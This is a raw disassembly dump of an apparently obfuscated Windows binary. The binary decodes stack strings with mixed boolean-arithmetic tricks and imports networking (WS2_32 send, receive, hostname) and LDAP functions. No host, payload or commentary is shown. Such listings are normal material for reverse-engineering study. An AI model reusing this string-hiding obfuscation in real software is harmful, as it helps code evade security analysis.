lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140098622
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400990b9
movabs rdx, 0x7df6d809c59cc826
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0xa
add r10b, dl
jmp 0x1400991cd
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400990f0
movabs rcx, 0x6adb6a4072ab02e0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x20
dec rbx
inc rbx
jmp 0x140098622
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140098ae8
movabs rcx, 0x57bffc771fb93d9a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x36
inc r9
dec rbx
inc rbx
jmp 0x140098622
movabs rdx, 0x1e6db31b26e3edc8
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, byte [rbp + rbx + 0x938]
sub r10b, al
sub r10b, 0x78
add r10b, r11b
add r10b, dl
jmp 0x1400991cd
movabs rdx, 0xb524551d3f22882
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea r10d, [rcx + rcx]
sub r10b, byte [rbp + rbx + 0x938]
add r10b, dl
add r10b, r11b
jmp 0x140099333
movabs rcx, 0xb19ffebcd47903b7
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
dec r10b
jmp 0x140099333
movabs rcx, 0xeaf24818cd4e5389
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x41
movabs rdx, 0x14dffc367d6b0b25
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 3
add cl, r11b
add cl, dl
mov byte [rbp + rbx + 0x938], cl
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140098622
movabs rcx, 0xfe0db5e2204018cf
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x57
dec rbx
inc rbx
jmp 0x140098622
movabs rcx, 0x24449174c623a35b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7d
movabs rcx, 0x27fb69ffd05cd06b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 0x13
add cl, r11b
mov byte [rbp + rbx + 0x938], cl
inc r9
dec rbx
inc rbx
jmp 0x140098622
movabs rcx, 0x5d96dad0bef8f32d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3b
inc r9
dec rbx
inc rbx
jmp 0x140098622
movabs rcx, 0x70b2489a11eab873
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x25
dec rbx
inc rbx
jmp 0x140098622
movabs rcx, 0xaa0491f60ac00845
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
add r10b, 0x1d
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140098622
movabs rcx, 0xbd1fffbf5db1cd8b
add rcx, rbx
and dl, cl
add dl, dl
movzx r10d, r11b
sub r10b, dl
add r10b, 0x33
add r10b, cl
movabs rcx, 0x1c48e6d2a7945df
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x19
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0x938], al
inc r9
add rax, r9
sub rbx, rax
movabs rdx, 0xf836d7888100633c
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rbp + rbx + 0x938], cl
inc r8
mov rax, r12
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x938]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140098622
movabs rcx, 0xe356db5203955817
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x5f
movzx eax, byte [rbp + rbx + 0x938]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140098622
movabs rcx, 0x95ffb33f4324151
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x37
jmp 0x14009861e
movabs rcx, 0x1c7b68fd47240697
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x21
jmp 0x140098603
lea rcx, [rbp + 0x147c3b4]
jmp 0x140099449
lea rcx, [rbp + 0x10ee111]
jmp 0x140099449
lea rcx, [rbp + 0x938]
xor r8d, r8d
mov rdx, rdi
call fcn.140036bc0
test al, al
je 0x1400994af
xor ebx, ebx
nop
mov edi, dword [r14 + 0x30]
cmp edi, ebx
sete dl
mov dword [rbp - 0x64], 0
mov dword [rbp - 0x60], 0
lea r9, [rbp - 0x64]
xor r8d, r8d
mov rcx, qword [rsi]
call fcn.14003e490
test al, al
je 0x140099492
mov dword [r14 + 0x30], ebx
cmp edi, ebx
jne 0x14009949f
call fcn.140014a40
inc ebx
add rsi, 8
cmp ebx, 2
jl 0x140099460
call fcn.140018d80
call fcn.1400408a0
xor r8d, r8d
xor edx, edx
lea rcx, str.Settings
call fcn.140040820
test al, al
je 0x1400a171e
mov byte [rbp + 0x960], 0x3f
mov byte [rbp + 0x961], 0xde
mov byte [rbp + 0x962], Ordinal_200
mov byte [rbp + 0x963], 0xdc
mov byte [rbp + 0x964], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x965], 0xde
mov byte [rbp + 0x966], 0xc0
mov byte [rbp + 0x967], 0x7f
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x968], xmm0
mov qword [rbp + 0x978], rax
mov word [rbp + 0x980], ax
mov byte [rbp + 0x982], al
movabs rsi, 0x447fd4b0b3a5934f
movabs rdi, 0x31687bf18ae6fbe5
movabs r14, 0x9e7c727ebc95157b
movabs r15, 0x1f69292ebc50aea9
movabs r13, 0xe1e4413316125e9c
movzx r10d, byte [rsp + 0x40]
nop dword [rax]
mov r8, qword [0x14022c4b8]
mov r9, qword [0x14022c4b0]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x140099ff7
movzx r11d, byte [rbp + rbx + 0x960]
mov rdx, r11
nop dword [rax + rax]
cmp r8, rbx
ja 0x140099feb
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400995c3
lea rcx, [rbx + rsi]
mov rax, rcx
and rax, rdx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdx
sub r10b, 0x29
jmp 0x1400995fc
je 0x140099f87
inc rax
cmp r8, rax
je 0x140099f54
lea rax, [r9 + 3]
cmp r8, rax
je 0x140099f29
lea rax, [r9 + 5]
cmp r8, rax
je 0x140099efb
lea rax, [r9 + 7]
cmp r8, rax
je 0x140099ea3
nop dword [rax]
cmp r9, rbx
ja 0x140099fdf
lea rax, [r9 + 6]
cmp r8, rax
jae 0x140099635
lea rcx, [rbx + r14]
movzx eax, r11b
and al, cl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x5d
add r10b, cl
jmp 0x140099660
lea rax, [r9 + 1]
cmp r8, rax
je 0x140099e7e
lea rax, [r9 + 2]
cmp r8, rax
je 0x140099e53
lea rax, [r9 + 5]
cmp r8, rax
je 0x140099e1b
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x1400999f4
nop dword [rax]
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400999ce
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x14009999c
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x140099979
lea rax, [r9 + 8]
cmp r8, rax
je 0x140099944
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x14009991b
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x140099670
lea r8, [r9 + 6]
lea r9, [r8 + 0x42]
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x140099fbb
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x14009978a
lea rax, [r9 + 4]
cmp r8, rax
jb 0x14009976b
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x14009988a
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x140099670
lea r8, [r9 + 0x400]
lea r9, [r8 + 0x20]
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x140099855
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x14009982c
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1400997f0
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400997ce
lea rax, [r9 + 9]
cmp r8, rax
ja 0x1400997a8
lea r8, [r9 + 0x80]
lea r9, [r8 + 0x5a]
jmp 0x140099670
lea rdx, [rbx + rdi]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x43
add r10b, dl
jmp 0x140099660
lea rdx, [rbx + r15]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add dl, 0x61
add r10b, dl
jmp 0x140099585
movabs rdx, 0xf3e393f5e4a8abd8
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x140099ec3
lea rcx, [rbx + r13]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x44
dec rbx
inc rbx
jmp 0x140099572
movabs rdx, 0xcfe4ee70477c1160
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140099572
movabs rdx, 0x34e5f24c119a9d86
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140099dd2
movabs rcx, 0xabe648eaaa4f76e8
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x58
movzx eax, byte [rbp + rbx + 0x960]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140099572
movabs rdx, 0x4367ceb4597d4921
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x19
add r10b, dl
cmp r8, 5
jae 0x140099d05
lea rax, [r9 + 0x40]
cmp r8, rax
jbe 0x140099c16
movabs rdx, 0xf0f220998b092f4e
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x22
add r10b, dl
cmp r9, 2
jb 0x140099cf5
movabs rdx, 0x4aeebe6793f8b17a
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
lea r10d, [rcx + rcx]
jmp 0x140099ec6
movabs rdx, 0x2deb059704335a44
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140099dd2
movabs rcx, 0x1bebb2d4359d0d08
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x38
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140099572
movabs rdx, 0x9ec60116706bfcc
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
jmp 0x140099d2b
movabs rdx, 0xf7ed0d4e98707290
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 8
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc r9
dec rbx
inc rbx
jmp 0x140099572
movabs rdx, 0x6eed63ed31254bf2
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x140099ec3
lea rax, [r9 + 0x20]
cmp r8, rax
jae 0x140099a5b
lea rdx, [rbx + rsi]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x29
add r10b, dl
lea rax, [r9 + r8]
cmp rax, 9
je 0x140099d73
lea rax, [r9 + 0x2a]
cmp r8, rax
jbe 0x140099b38
movabs rdx, 0x5275ae1ace7419d3
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x3b
jmp 0x1400998aa
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x140099aa2
movabs rdx, 0x3cf8e4fd792a2af6
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0x960]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140099572
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140099ad4
movabs rdx, 0x4ef837c047c07832
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x5e
jmp 0x140099d9c
lea rax, [rcx + 1]
cmp r8, rax
jne 0x140099b06
movabs rdx, 0xe9f733e47da1ec0c
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x54
jmp 0x140099d2e
lea rax, [r9 + 9]
cmp r8, rax
jne 0x140099a1b
movabs rdx, 0x84f63008b3835fe6
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x4a
jmp 0x140099ec3
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140099b6a
movabs rdx, 0xdb75577c35bf4071
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x17
jmp 0x140099ec3
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140099ba2
movabs rcx, 0xed74aa3f04558dad
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x45
dec rbx
inc rbx
jmp 0x140099572
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140099be4
movabs rcx, 0x8873a6633a370187
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x4f
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140099572
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400998ad
movabs rdx, 0x11734fc4a1822825
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 3
jmp 0x140099d9c
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140099c59
movabs rcx, 0x79f1c9faf25455ec
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x74
movzx eax, byte [rbp + rbx + 0x960]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140099572
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140099c8b
movabs rdx, 0x8bf11cbdc0eaa328
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x18
jmp 0x140099d9c
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140099cbd
movabs rdx, 0x26f018e1f6cc1702
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0xe
jmp 0x140099d2e
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400998e7
movabs rcx, 0xafefc2435e173da0
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x60
dec rbx
inc rbx
jmp 0x140099572
mov byte [rbp + rbx + 0x960], r10b
inc rbx
jmp 0x140099572
movabs rdx, 0xd3ee67c8fb43d818
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, byte [rbp + rbx + 0x960]
add r10b, r11b
add r10b, dl
movabs rdx, 0x186e3c79aee96b67
add rdx, rbx
movzx eax, dl
and al, r11b
add al, al
movzx ecx, r10b
sub cl, al
add cl, 0x2f
add cl, dl
add cl, r11b
mov byte [rbp + rbx + 0x960], cl
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140099572
movabs rdx, 0x5cee112a628efeb6
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 3
sub cl, al
lea r10d, [rcx + rcx]
sub r10b, byte [rbp + rbx + 0x960]
add r10b, r11b
add r10b, dl
movabs rdx, 0xa16de5db16349205
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x23
add cl, dl
movzx eax, cl
mov byte [rbp + rbx + 0x960], al
inc r9
add rax, r9
sub rbx, rax
movabs rcx, 0xe5edba8bc9da2554
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x4c
add r11b, cl
mov byte [rbp + rbx + 0x960], r11b
inc r8
mov rax, r12
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x960]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140099572
movabs rcx, 0x4b7ac165c10cd691
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 9
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140099572
movabs rcx, 0x397b6ea2f2768955
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x53
dec rbx
inc rbx
jmp 0x140099572
movabs rdx, 0x277c1be023e03c19
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x51
jmp 0x140099ec3
movabs rdx, 0x157cc91d5549eedd
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0xb
add r10b, dl
movabs rcx, 0x8f6e9318479e44c9
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x7f
add r11b, cl
mov byte [rbp + rbx + 0x960], r11b
inc r9
dec rbx
inc rbx
jmp 0x140099572
movabs rcx, 0x8c7d1fbbedfec83f
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x47
inc r9
dec rbx
inc rbx
jmp 0x140099572
movabs rcx, 0x37d765a86b3a1a1
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x67
dec rbx
inc rbx
jmp 0x140099572
movabs rcx, 0x687e7a3650d22dc7
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 0x71
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140099572
movabs rcx, 0xcd7f7e121af0b9ed
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 0x7b
movzx eax, byte [rbp + rbx + 0x960]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140099572
movabs rcx, 0xd69d66bedba616d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 5
jmp 0x140099560
lea rcx, [rbp + 0x17f0274]
jmp 0x140099ffe
lea rcx, [rbp + 0xe495c3]
jmp 0x140099ffe
lea rcx, [rbp + 0x960]
call fcn.140036770
lea rdx, [0x140225fb0]
lea rcx, [rbp + 0x248]
call fcn.140002680
mov rdi, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0x88]
mov rcx, qword [0x14022c170]
call fcn.14006bfb0
mov rbx, qword [rax]
mov rcx, rdi
call fcn.140002820
lea rcx, [rbx + 0x30]
call fcn.14006b1d0
mov rdi, rax
mov byte [rbp + 0x988], Ordinal_50
mov byte [rbp + 0x989], WSASetLastError
mov byte [rbp + 0x98a], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x98b], 0x65
mov byte [rbp + 0x98c], 0x5f
mov byte [rbp + 0x98d], 0xfd
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x98e], xmm0
mov qword [rbp + 0x99e], rax
mov dword [rbp + 0x9a6], eax
mov byte [rbp + 0x9aa], al
movabs rsi, 0x6df0a9669156a62b
movabs r13, 0x1d9dbeec80d35d3f
movabs r14, 0x14a6aa69f2c3a135
movabs r15, 0xd96b2c90f11ce6b7
movzx r10d, byte [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x14022c4b8]
mov r9, qword [0x14022c4b0]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x14009aee5
movzx r11d, byte [rbp + rbx + 0x988]
mov rdx, r11
nop dword [rax + rax]
cmp r8, rbx
ja 0x14009aed9
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14009a133
lea rcx, [rbx + r13]
mov rax, rcx
and rax, rdx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdx
add r10b, 0x47
jmp 0x14009a160
je 0x14009ae4f
lea rax, [r9 + 3]
cmp r8, rax
je 0x14009ae1c
lea rax, [r9 + 7]
cmp r8, rax
je 0x14009adf1
lea rax, [r9 + 2]
cmp r8, rax
je 0x14009ad9d
cmp r9, rbx
ja 0x14009aecd
lea rax, [r9 + 0xa]
cmp r8, rax
jae 0x14009a191
lea rcx, [rbx + rsi]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x2d
jmp 0x14009a1d0
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x14009ad79
lea rax, [r9 + 5]
cmp r8, rax
je 0x14009ad41
lea rax, [r9 + 3]
cmp r8, rax
je 0x14009ad0c
lea rax, [rcx + 1]
cmp r8, rax
je 0x14009ac74
nop word [rax + rax]
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x14009a86a
nop dword [rax]
lea rax, [r9 + 8]
cmp r8, rax
je 0x14009a842
lea rax, [r9 + 1]
cmp r8, rax
je 0x14009a810
lea rax, [r9 + 4]
cmp r8, rax
je 0x14009a7e6
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x14009a7c3
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x14009a78b
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x14009a752
lea rax, [r9 + 5]
cmp r8, rax
je 0x14009a72e
lea rax, [r9 + 9]
cmp r8, rax
je 0x14009a705
lea rax, [r9 + 2]
cmp r8, rax
je 0x14009a6cf
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x14009a1e0
lea r8, [r9 + 0x3e8]
lea r9, [r8 + 0x64]
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x14009aea8
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x14009ae83
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x14009a3c6
lea rax, [r9 + 3]
cmp r8, rax
jb 0x14009a3ac
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x14009a391
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x14009a66d
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x14009a610
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x14009a5bd
lea rcx, [r9 + 8]
cmp r8, rcx
jb 0x14009a58e
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x14009a1e0
mov r8, rcx
lea r9, [rcx + 4]
lea rax, [r9 + 1]
cmp rcx, rax
ja 0x14009a554
lea rax, [r9 + 0x1000]
cmp rcx, rax
ja 0x14009a530
lea rax, [r9 + 0x42]
cmp rcx, rax
ja 0x14009a507
lea rax, [r9 + 0x200]
cmp rcx, rax
ja 0x14009a4d2
lea rax, [r9 + 0x20]
cmp rcx, rax
ja 0x14009a496
lea rax, [r9 + 5]
cmp rcx, rax
ja 0x14009a472
lea rax, [r9 + 0x5a]
cmp rcx, rax
ja 0x14009a443
lea rax, [r9 + 2]
cmp rcx, rax
ja 0x14009a411
lea rax, [r9 + 0x61]
cmp rcx, rax
ja 0x14009a3ed
lea rax, [r9 + 0x64]
cmp rcx, rax
ja 0x14009a1e0
lea r8, [r9 + 0x28]
lea r9, [r8 + 0xa]
jmp 0x14009a1e0
lea rcx, [rbx + r14]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x73
jmp 0x14009a1d0
lea rcx, [rbx + r15]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
dec r10b
jmp 0x14009a160
movabs rdx, 0x9e2faeb7ef762c39
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add dl, 0x71
add r10b, dl
jmp 0x14009a0f5
movabs rcx, 0x6f854b348ab53158
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x68
jmp 0x14009adbc
movabs rdx, 0x3449cd5b890e76da
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 5
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r9
dec rbx
inc rbx
jmp 0x14009a0e2
movabs rdx, 0xf90e4f828767bc5c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x3e
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x14009a0e2
movabs rcx, 0xbdd2d1a985c101de
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x12
jmp 0x14009ac01
movabs rdx, 0x829753d0841a4760
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009a0e2
movabs rcx, 0x475bd5f782738ce2
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x2e
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009a0e2
movabs rdx, 0xc20581e80ccd264
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14009ac93
movabs rcx, 0xd0e4da457f2617e6
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4a
jmp 0x14009acc3
movabs rdx, 0x95a95c6c7d7f5d68
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0x988]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009a0e2
movabs rcx, 0x194a1cdf95e8b2d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3b
mov byte [rbp + rbx + 0x988], r10b
inc rbx
jmp 0x14009a0e2
movabs rdx, 0xc65923f4f7b7d0af
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x37
add r10b, dl
cmp r9, 0x7a
jb 0x14009a5ad
movabs rdx, 0xccda123b5437271a
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add cl, dl
lea r10d, [rcx*2 - 0x6c]
jmp 0x14009adbc
movabs rcx, 0x8b1da61bf6111631
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x57
cmp r8, 0x200
jae 0x14009abd6
lea rax, [r9 + 0x42]
cmp r8, rax
jbe 0x14009aac1
movabs rcx, 0x7c8727c143b3de2e
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x42
jmp 0x14009a5e0
movabs rcx, 0x4fe22842f46a5bb3
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x1b
lea rax, [r8 + r9]
cmp rax, 3
je 0x14009ac43
